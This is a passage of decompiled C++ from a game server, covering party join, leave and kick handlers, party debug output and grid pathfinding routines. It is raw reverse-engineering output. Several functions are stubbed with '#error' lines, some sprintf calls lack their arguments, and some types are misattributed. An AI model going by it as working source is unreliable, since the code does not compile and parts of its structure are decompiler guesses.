"PartyManufacture::pm_FindMember"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PartyManufacture::pm_FindMember"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( partyregnum < 0x7D0u ) { v4 = (char *)&partycontainer + 168 * partyregnum; v5 = *v4; v6 = (unsigned __int8)*v4 >= 2u && (unsigned __int8)v5 <= 5u; if ( v6 ) { if ( sub < (unsigned __int8)v5 ) { v7 = *(#331 **)&v4[32 * (sub + 1)]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PartyManufacture::pm_FindMember"); result = v7; } else { AssertClass::ac_AssertFail(&shineassert, "PartyManufacture::pm_FindMember : sub is too big", sub); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PartyManufacture::pm_FindMember"); result = 0; } } else { AssertClass::ac_AssertFail( &shineassert, "PartyManufacture::pm_FindMember : Invalid party member number", (unsigned __int8)v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PartyManufacture::pm_FindMember"); result = 0; } } else { AssertClass::ac_AssertFail(&shineassert, "PartyManufacture::pm_FindMember : Too large party regnum", partyregnum); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PartyManufacture::pm_FindMember"); result = 0; } return result; } //----- (00494030) -------------------------------------------------------- #error "494030: undefined or illegal type '#331' (funcsize=61)" //----- (00494120) -------------------------------------------------------- #error "494120: undefined or illegal type '#331' (funcsize=155)" //----- (00494310) -------------------------------------------------------- #error "494310: undefined or illegal type '#331' (funcsize=100)" //----- (00494450) -------------------------------------------------------- #error "494450: undefined or illegal type '#331' (funcsize=51)" //----- (00494520) -------------------------------------------------------- #error "494520: undefined or illegal type '#331' (funcsize=117)" //----- (004946C0) -------------------------------------------------------- #error "4946C0: undefined or illegal type '#331' (funcsize=87)" //----- (004947D0) -------------------------------------------------------- unsigned __int16 __thiscall PartyManufacture::pm_FindParty(PartyManufacture *this, unsigned int chrregnum) { int v2; // esi@1 CParty::PARTY_SLOT *v3; // eax@2 int v4; // edx@2 int v5; // ecx@2 int v6; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PartyManufacture::pm_FindParty"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PartyManufacture::pm_FindParty"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; while ( 1 ) { v3 = CParty::operator__(&partycontainer, v2); v4 = v3->NumOfMember; v5 = 0; if ( v4 > 0 ) break; LABEL_6: ++v2; if ( (unsigned __int16)v2 >= 0x7D0u ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PartyManufacture::pm_FindParty"); return -1; } } v6 = (int)v3->Members; while ( chrregnum != *(_DWORD *)v6 ) { ++v5; v6 += 32; if ( v5 >= v4 ) goto LABEL_6; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PartyManufacture::pm_FindParty"); return v2; } //----- (004948D0) -------------------------------------------------------- #error "4948D0: undefined or illegal type '#440' (funcsize=78)" //----- (004949E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SendPartyInformTo(void *this, int a2) { void *v2; // esi@1 int v3; // edx@1 unsigned __int16 v4; // bp@1 int v5; // eax@1 unsigned int v6; // ecx@1 char *v7; // ecx@1 __int16 v8; // ST1C_2@1 CParty::PARTY_SLOT *v9; // ebp@1 signed int v10; // ebx@3 int v11; // esi@4 unsigned int v12; // eax@5 char *v13; // eax@5 char *v14; // [sp-4h] [bp-A8h]@2 char buf[128]; // [sp+14h] [bp-90h]@1 unsigned int v16; // [sp+94h] [bp-10h]@7 int v17; // [sp+A0h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SendPartyInformTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SendPartyInformTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; v17 = 0; v4 = (*(int (__thiscall **)(void *))(v3 + 1336))(v2); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); v6 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v6; v7 = (char *)&namestring + 256 * v6; *(_DWORD *)v7 = *(_DWORD *)v5; *((_DWORD *)v7 + 1) = *(_DWORD *)(v5 + 4); *((_DWORD *)v7 + 2) = *(_DWORD *)(v5 + 8); *((_DWORD *)v7 + 3) = *(_DWORD *)(v5 + 12); v7[16] = 0; v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 832))(v2); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); sprintf(buf, "PartyRegNum[%d]CharRegNum[%d]HndW[%d]HndZ[%d]CharID[%s]"); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)a2 + 1836))(a2, buf); v9 = CParty::operator__(&partycontainer, v4); if ( v9 ) { sprintf(buf, "Party member : %d\n"); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)a2 + 1836))(a2, buf); v10 = 0; if ( v9->NumOfMember ) { v11 = (int)&v9->Members[0].MemberInform.Member.charname.n4_name[8]; do { v12 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v12; v13 = (char *)&namestring + 256 * v12; *(_DWORD *)v13 = *(_DWORD *)(v11 - 8); *((_DWORD *)v13 + 1) = *(_DWORD *)(v11 - 4); *((_DWORD *)v13 + 2) = *(_DWORD *)v11; *((_DWORD *)v13 + 3) = *(_DWORD *)(v11 + 4); v13[16] = 0; sprintf(buf, "RegNum[%d]hndZ[%d]hndW[%d]CharID[%s]Level[%d]Flag[%d]Merchine[%d]Obj[%s]"); (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)a2 + 1836))(a2, buf); ++v10; v11 += 32; } while ( v10 < v9->NumOfMember ); } v14 = "ShineObjectClass::ShinePlayer::so_ply_SendPartyInformTo"; } else { (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)a2 + 1836))(a2, "Null party"); v14 = "ShineObjectClass::ShinePlayer::so_ply_SendPartyInformTo"; } --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); __security_check_cookie(v16); } //----- (00494C30) -------------------------------------------------------- #error "494C30: undefined or illegal type '#331' (funcsize=106)" //----- (00494DB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_LogoutDuringParty(void *this) { void *v1; // esi@1 unsigned __int16 v2; // ax@2 CParty::PARTY_SLOT *v3; // edi@2 int v4; // ecx@2 int v5; // edi@4 signed int v6; // ebp@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LogoutDuringParty"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_LogoutDuringParty"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int16)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1336))(v1) != -1 ) { v2 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1336))(v1); v3 = CParty::operator__(&partycontainer, v2); v4 = (unsigned __int16)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1336))(v1); if ( v3 != 0 ) { v5 = (int)&v3->Members[0].MemberInform.Member.charname.n4_name[8]; v6 = 5; do { if ( *(_DWORD *)(v5 - 16) == (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1) ) { *(_DWORD *)(v5 + 12) = 0; *(_BYTE *)(v5 + 10) = -1; *(_WORD *)(v5 - 12) = -1; *(_DWORD *)(v5 - 8) = *(_DWORD *)((char *)v1 + 32062); *(_DWORD *)(v5 - 4) = *(_DWORD *)((char *)v1 + 32066); *(_DWORD *)v5 = *(_DWORD *)((char *)v1 + 32070); *(_DWORD *)(v5 + 4) = *(_DWORD *)((char *)v1 + 32074); *(_BYTE *)(v5 + 8) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1220))(v1); *(_BYTE *)(v5 + 9) = 0; } v5 += 32; --v6; } while ( v6 ); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Party not found", v4); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LogoutDuringParty"); } //----- (00494EF0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_MEMBERINFORM_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { WorldManagerSession *v3; // edi@1 PROTO_NC_PARTY_MEMBERINFORM_ACK *v4; // esi@1 CParty::PARTY_SLOT *v5; // eax@1 char v6; // cl@2 int v7; // edi@4 int v8; // ebp@5 int v9; // ecx@6 int v10; // edx@6 WorldManagerSession *thisa; // [sp+10h] [bp-14h]@1 int netcmda; // [sp+28h] [bp+4h]@4 v3 = this; thisa = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_MEMBERINFORM_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_MEMBERINFORM_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (PROTO_NC_PARTY_MEMBERINFORM_ACK *)&netcmd[1]; v5 = CParty::operator__(&partycontainer, netcmd[1].protocol); if ( v5 ) { v6 = v5->NumOfMember; if ( v5->NumOfMember == LOBYTE(netcmd[2].protocol) ) { v7 = (unsigned __int8)v6; netcmda = 0; if ( (signed int)(unsigned __int8)v6 > 0 ) { v8 = (int)v5->Members; do { v9 = 0; v10 = (int)&v4[1]; while ( *(_DWORD *)v8 != *(_DWORD *)v10 ) { ++v9; v10 += 26; if ( v9 >= v7 ) { WorldManagerSession::wms_PartyMemberRefresh(thisa, v5, v4); goto LABEL_11; } } v8 += 32; ++netcmda; } while ( netcmda < v7 ); } } else { WorldManagerSession::wms_PartyMemberRefresh(v3, v5, v4); } } LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_MEMBERINFORM_ACK"); } //----- (00495000) -------------------------------------------------------- void __thiscall PROTO_PARTY_MEMBER::PROTO_PARTY_MEMBER(PROTO_PARTY_MEMBER *this) { *(_QWORD *)&this->charname.n4_name[8] = 0i64; *(_QWORD *)&this->charname.n4_name[0] = 0i64; } //----- (00495020) -------------------------------------------------------- void __thiscall PROTO_PARTY_MEMBER_AND_ZONEMERCHINE::PROTO_PARTY_MEMBER_AND_ZONEMERCHINE(PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *this) { PROTO_PARTY_MEMBER::PROTO_PARTY_MEMBER(&this->Member); } //----- (00495030) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { unsigned __int16 v3; // di@1 char *v4; // [sp-4h] [bp-28h]@3 unsigned int v5; // [sp+14h] [bp-10h]@0 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd[1].protocol; if ( v3 >= 0x7D0u || CParty::operator__(&partycontainer, v3)->NumOfMember ) { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD : New party in nonempty slot", v3); v4 = "WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD"; } else { CParty::MemberJoin( &partycontainer, (PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *)&netcmd[2], (PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *)((char *)&netcmd[15].protocol + 1), netcmd[1].protocol); PartyManufacture::pm_HandleSet( &partymanufacture, netcmd[1].protocol, (PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *)&netcmd[2]); PartyManufacture::pm_HandleSet( &partymanufacture, netcmd[1].protocol, (PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *)((char *)&netcmd[15].protocol + 1)); PartyManufacture::pm_Sendmemberinfo(&partymanufacture, v3); v4 = "WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v4); __security_check_cookie(v5); } //----- (00495160) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_PartyInformInit(int this) { int v1; // ebx@1 int result; // eax@1 signed int v3; // edi@2 int v4; // esi@3 int v5; // eax@4 v1 = this; result = *(_DWORD *)(this + 88948); if ( result ) { v3 = 0; if ( *(_BYTE *)result ) { v4 = 0; do { v5 = *(_DWORD *)(v4 + result + 32); if ( v5 ) (*(void (__thiscall **)(int))(*(_DWORD *)v5 + 2176))(v5); result = *(_DWORD *)(v1 + 88948); ++v3; v4 += 32; } while ( v3 < *(_BYTE *)result ); } } return result; } //----- (004951B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_PartyInformInit(int this) { ShineObjectClass::ShinePlayer::PartyMemberInform::pmi_Clear((ShineObjectClass::ShinePlayer::PartyMemberInform *)(this + 88948)); } //----- (004951C0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_JOIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { unsigned __int16 v3; // si@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_JOIN_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_JOIN_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd[1].protocol; if ( v3 < 0x7D0u ) { CParty::MemberJoin(&partycontainer, v3, (PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *)&netcmd[2]); PartyManufacture::pm_HandleSet(&partymanufacture, v3, (PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *)&netcmd[2]); PartyManufacture::pm_Sendmemberinfo(&partymanufacture, v3); PartyManufacture::pm_NewMemberJoin(&partymanufacture, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_JOIN_CMD"); } else { AssertClass::ac_AssertFail(&shineassert, "WorldManagerSession::wms_NC_PARTY_JOIN_CMD : join to empty party", v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_JOIN_CMD"); } } //----- (004952E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_PARTY_MEMBERINFOREQ_CMD(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 v4 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_PARTY_MEMBERINFOREQ_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_PARTY_MEMBERINFOREQ_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S3_41 & 1) ) { _S3_41 |= 1u; cmc_51.cmc_AllowMode = 126; atexit(_E4_72); } if ( (1 << **(_BYTE **)(v4 + 3716)) & cmc_51.cmc_AllowMode ) ShineObjectClass::ShinePlayer::sp_PartyInformInit(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_PARTY_MEMBERINFOREQ_CMD"); } //----- (004953C0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_LEAVE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { WorldManagerSession *v3; // ebx@1 unsigned __int16 v4; // si@1 #331 *v5; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_LEAVE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_LEAVE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = netcmd[1].protocol; if ( v4 < 0x7D0u ) { PartyManufacture::pm_MemberLeave(&partymanufacture, v4, *(_DWORD *)&netcmd[2].protocol); CParty::MemberLeave(&partycontainer, v4, *(_DWORD *)&netcmd[2].protocol); v5 = ShineObjectManager::som_FindPlayer(&shineobjmanager, *(_DWORD *)&netcmd[2].protocol); if ( v5 ) WorldManagerSession::wms_KickPlayerFromInstanceDungeon(v3, v5, v4); } else { AssertClass::ac_AssertFail(&shineassert, "WorldManagerSession::wms_NC_PARTY_LEAVE_CMD : leave from empty party", v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_LEAVE_CMD"); } //----- (004954C0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_KICKOFF_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { WorldManagerSession *v3; // ebx@1 unsigned __int16 v4; // si@1 #331 *v5; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_KICKOFF_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_KICKOFF_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = netcmd[1].protocol; if ( v4 < 0x7D0u ) { PartyManufacture::pm_MemberLeave(&partymanufacture, v4, *(_DWORD *)&netcmd[2].protocol); CParty::MemberLeave(&partycontainer, v4, *(_DWORD *)&netcmd[2].protocol); v5 = ShineObjectManager::som_FindPlayer(&shineobjmanager, *(_DWORD *)&netcmd[2].protocol); WorldManagerSession::wms_KickPlayerFromInstanceDungeon(v3, v5, v4); } else { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_PARTY_KICKOFF_CMD : leave from empty party", v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_KICKOFF_CMD"); } //----- (004955B0) -------------------------------------------------------- unsigned __int16 __thiscall PathFindCell::pfc_Getdistance(PathFindCell *this, unsigned int flag) { unsigned __int16 result; // ax@2 if ( this->pfc_flag == flag ) result = this->pfc_distance; else result = -31073; return result; } //----- (004955D0) -------------------------------------------------------- PathFindCell *__thiscall PathFindTable::operator__(PathFindTable *this, int x, int y) { PathFindTable *v3; // esi@1 int v4; // ecx@5 PathFindCell *result; // eax@8 v3 = this; LOBYTE(v4) = x >= -1200 && x <= 1200 && y >= -1200 && y <= 1200; v4 = (unsigned __int8)v4; if ( (_BYTE)v4 ) { result = (PathFindCell *)((char *)v3 + 16 * (2401 * x + y + 2882400)); } else { AssertClass::ac_AssertFail(&shineassert, "PathFindTable::operator () : Out of range", v4); result = (PathFindCell *)((char *)v3 + (_DWORD)((char *)&wholesaver + 84125776)); } return result; } //----- (00495640) -------------------------------------------------------- void __thiscall LinearStep::ls_step(LinearStep *this, int step, int *x, int *y) { *x = this->ls_from.x + step * this->ls_delta1024.x / 1024; *y = this->ls_from.y + step * this->ls_delta1024.y / 1024; if ( *x < -1200 || *x > 1200 ) AssertClass::ac_AssertFail(&shineassert, "LinearStep::ls_step : Out of range", *x); if ( *y < -1200 || *y > 1200 ) AssertClass::ac_AssertFail(&shineassert, "LinearStep::ls_step : Out of range", *y); } //----- (004956D0) -------------------------------------------------------- Tracer *__thiscall LinearStep::ls_Set(LinearStep *this, int fx, int fy, int tx, int ty) { LinearStep *v5; // esi@1 signed int v6; // ecx@13 signed int v7; // eax@13 int v8; // ecx@18 v5 = this; if ( fx < -1200 || fx > 1200 ) AssertClass::ac_AssertFail(&shineassert, "LinearStep::ls_step : Out of range", fx); if ( fy < -1200 || fy > 1200 ) AssertClass::ac_AssertFail(&shineassert, "LinearStep::ls_step : Out of range", fy); if ( tx < -1200 || tx > 1200 ) AssertClass::ac_AssertFail(&shineassert, "LinearStep::ls_step : Out of range", tx); if ( ty < -1200 || ty > 1200 ) AssertClass::ac_AssertFail(&shineassert, "LinearStep::ls_step : Out of range", ty); v5->ls_from.y = fy; v5->ls_to.y = fy; v6 = abs(tx - fx); v7 = abs(ty - fy); v5->ls_from.x = fx; v5->ls_to.x = fx; if ( v6 <= v7 ) v6 = v7; v5->ls_linelength = v6; if ( v6 ) { v5->ls_delta1024.x = ((tx - fx) << 10) / v6; v5->ls_delta1024.y = ((ty - fy) << 10) / v6; } else { v5->ls_delta1024.y = 0; v5->ls_delta1024.x = 0; } v8 = v5->ls_from.y; v5->ls_Prev.x = v5->ls_from.x; v5->ls_count = 0; v5->ls_Prev.y = v8; return (Tracer *)v5; } //----- (004957D0) -------------------------------------------------------- void __thiscall PathFindTable::PathFindTable(PathFindTable *this) { PathFindTable *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x10u, (int)((char *)sub_57F6BC + 5), (void (__thiscall *)(void *))AllOfRangeArgument::AllOfRangeArgument, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); *(unsigned int *)((char *)&v1->pft_table[0][0].pfc_flag + (_DWORD)((char *)&wholesaver + 84125776)) = 0; } // 57F6BC: using guessed type int sub_57F6BC(); //----- (00495800) -------------------------------------------------------- void __thiscall PathFindTable::_PathFindTable(PathFindTable *this) { _eh_vector_destructor_iterator_( this, 0x10u, (int)((char *)sub_57F6BC + 5), (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 57F6BC: using guessed type int sub_57F6BC(); //----- (00495820) -------------------------------------------------------- void __thiscall Tracer::_Tracer(LinearStep *this) { this->baseclass_0.vfptr = (TracerVtbl *)&Tracer::_vftable_; } // 5B0D20: using guessed type int (__thiscall *Tracer___vftable_)(void *p, char); //----- (00495830) -------------------------------------------------------- void __thiscall LinearStep::LinearStep(LinearStep *this) { this->baseclass_0.vfptr = (TracerVtbl *)&LinearStep::_vftable_; } // 5B0D2C: using guessed type int (__thiscall *LinearStep___vftable_)(void *p, char); //----- (00495840) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ItemLotAnalyser::LotChanger *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 ItemLotAnalyser::LotChanger *v5; // esi@4 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Prev; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; v5 = v2[(unsigned __int16)v3].ls_Content; *(_DWORD *)&ele->item = *(_DWORD *)&v5->item; ele->delta = v5->delta; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (00495890) -------------------------------------------------------- #error "495890: undefined or illegal type '#331' (funcsize=40)" //----- (00495900) -------------------------------------------------------- #error "495900: undefined or illegal type '#331' (funcsize=40)" //----- (00495970) -------------------------------------------------------- void *__thiscall Tracer::_vector_deleting_destructor_(Tracer *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (TracerVtbl *)&Tracer::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 5B0D20: using guessed type int (__thiscall *Tracer___vftable_)(void *p, char); //----- (00495990) -------------------------------------------------------- void *__thiscall LinearStep::_scalar_deleting_destructor_(LinearStep *this, unsigned int a2) { void *v2; // esi@1 v2 = this; Tracer::_Tracer(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004959B0) -------------------------------------------------------- char __thiscall LinearStep::t_continue(LinearStep *this, PathFindArgumentStruct *pfas, PathFindCellLoc *lastloc, int mindist) { LinearStep *v4; // esi@1 char result; // al@2 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "LinearStep::t_continue"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "LinearStep::t_continue"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v4->ls_Prev.y * v4->ls_Prev.y + v4->ls_Prev.x * v4->ls_Prev.x >= mindist * mindist ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "LinearStep::t_continue"); result = 1; } else { lastloc->x = v4->ls_Prev.x; lastloc->y = v4->ls_Prev.y; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "LinearStep::t_continue"); result = 0; } return result; } //----- (00495A80) -------------------------------------------------------- void __thiscall CellStack::_CellStack(CellStack *this) { CellStack *v1; // esi@1 void *v2; // eax@1 v1 = this; this->baseclass_0.vfptr = (TracerVtbl *)&CellStack::_vftable_; v2 = this->cs_list.l_Array; this->cs_list.vfptr = (ListVtbl *)List::_vftable_; if ( v2 ) operator delete__(v2); v1->baseclass_0.vfptr = (TracerVtbl *)&Tracer::_vftable_; } // 5B0D20: using guessed type int (__thiscall *Tracer___vftable_)(void *p, char); // 5B0D54: using guessed type int (__stdcall *List_HitMeList__Enemy____vftable_[3])(__int16 hnd); // 5B0D88: using guessed type int (__thiscall *CellStack___vftable_)(void *p, char); //----- (00495AB0) -------------------------------------------------------- void __thiscall CellStack::cs_push(CellStack *this, PathFindArgumentStruct *pfas, int fx, int fy, int x, int y, unsigned __int16 dist) { CellStack *v7; // esi@1 PathFindCell *v8; // eax@5 unsigned __int16 v9; // bp@5 unsigned int v10; // ST08_4@6 PathFindCell *v11; // eax@6 AbnormalStateContainer::AbstateElementInObject *v12; // esi@7 PathFindCell *v13; // eax@8 CellStack *v14; // edx@8 FunctionEntarance _; // [sp+10h] [bp-14h]@1 CellStack *v16; // [sp+14h] [bp-10h]@1 int v17; // [sp+20h] [bp-4h]@1 v7 = this; v16 = this; _.fe_FunctionCode = "CellStack::cs_push"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CellStack::cs_push"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CellStack::cs_push"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; if ( x < -1200 || x > 1200 || y < -1200 || y > 1200 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CellStack::cs_push"); } else { v8 = PathFindTable::operator__(&pathfindtable, x, y); v9 = dist; if ( v8->pfc_flag != pathfindflag || (v10 = pathfindflag, v11 = PathFindTable::operator__(&pathfindtable, x, y), PathFindCell::pfc_Getdistance(v11, v10) >= v9) ) { v12 = List::l_AllocationZ( (List *)&v7->cs_list, &dist); if ( !AssertClass::operator__(&shineassert, v12 == 0, "CellStack::cs_push : Out of memory", 0) ) { *(_DWORD *)&dist = pathfindflag; v13 = PathFindTable::operator__(&pathfindtable, x, y); v13->pfc_flag = dist; v13->pfc_distance = v9; *((_DWORD *)&v12->aeo_Caster + 1) = fy; *(_DWORD *)&v12->aeo_Caster._bf0 = fx; *(_DWORD *)&v12->aeo_Strength = v9; v14 = v16; v12->aeo_Tick.start = y * y + x * x + ((unsigned int)v9 >> 6); *(_DWORD *)&v12->aeo_Flag._bf0 = x; v12->aeo_Index = y; v14 = (CellStack *)((char *)v14 + 4828); v14->baseclass_0.vfptr = (TracerVtbl *)x; v14->cs_array[0].cur.x = v12->aeo_Index; v14->cs_array[0].cur.y = *(_DWORD *)&v12->aeo_Caster._bf0; v14->cs_array[0].from.x = *((_DWORD *)&v12->aeo_Caster + 1); v14->cs_array[0].from.y = *(_DWORD *)&v12->aeo_Strength; v14->cs_array[0].distance = v12->aeo_Tick.start; } } v17 = -1; FunctionEntarance::_FunctionEntarance(&_); } } //----- (00495C80) -------------------------------------------------------- char __thiscall CellStack::t_continue(CellStack *this, PathFindArgumentStruct *pfas, PathFindCellLoc *lastloc, int mindist) { CellStack *v4; // esi@1 char result; // al@2 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CellStack::t_continue"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CellStack::t_continue"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v4->cs_lastloc.cur.y * v4->cs_lastloc.cur.y + v4->cs_lastloc.cur.x * v4->cs_lastloc.cur.x >= mindist ) { --funcallanalizer.fca_stackpoint; 